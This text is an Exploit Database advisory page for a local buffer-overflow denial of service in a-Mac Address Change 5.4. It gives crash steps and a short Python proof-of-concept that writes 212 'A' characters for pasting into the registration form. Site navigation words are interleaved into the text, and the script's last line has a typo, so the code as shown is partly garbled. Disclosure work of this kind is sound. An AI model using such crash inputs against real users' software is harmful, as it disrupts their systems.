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Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC)
Discovery by: Rafael Pedrero

Discovery Date: 2019-01-30

Vendor Homepage: http://amac.paqgtool.com/

Software Link : http://amac.paqtool.com/

Tested Version: 5.4

Tested on: Windows XP SP3

Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
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# Steps to Produce the Crash:

# 1.- Run amac.exe

SHELLCODES # 2.- copy content amac Crash.txt or 212 "A" to clipboard (result from this
python script)

# 3.- Go to Register - Amac Register Form and paste the result in all
fields: "Your Name", "Your Company", "Register Code"

SEARCHEDS # 4.- Click in Register button and you will see a crash.

: .
SEARCHSPLOIT MANUAL #!/usr/bin/env python

crash = "\x41" * 212

SUBMISSIONS f = open ("amac Crash.txt", "w")
f.write(crash)
f.closel()
ONLINE TRAINING
Tags: Denial of Service (DoS) Advisory/Source: Link

<

O

Databases ~

Links ~

Sites ~

Solutions ~

©

y ﬂ @ D) EXPLOIT DATABASE BY OFFSEC TERMS  PRIVACY ABOUTUS FAQ COOKIES

OffSec Services Limited 2026. All rights reserved.

https://www.exploit-db.com/exploits/46292 3/3


https://twitter.com/exploitdb
https://twitter.com/exploitdb
https://twitter.com/exploitdb
https://www.facebook.com/ExploitDB
https://www.facebook.com/ExploitDB
https://www.facebook.com/ExploitDB
https://gitlab.com/exploit-database/exploitdb
https://gitlab.com/exploit-database/exploitdb
https://gitlab.com/exploit-database/exploitdb
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/
https://www.exploit-db.com/terms
https://www.exploit-db.com/privacy
https://www.exploit-db.com/about-exploit-db
https://www.exploit-db.com/faq
https://www.exploit-db.com/cookies
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www
https://www.exploit-db.com/?tag=13
https://www.exploit-db.com/exploits/46292
https://www.exploit-db.com/exploits/46291
https://www.exploit-db.com/exploits/46293
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www

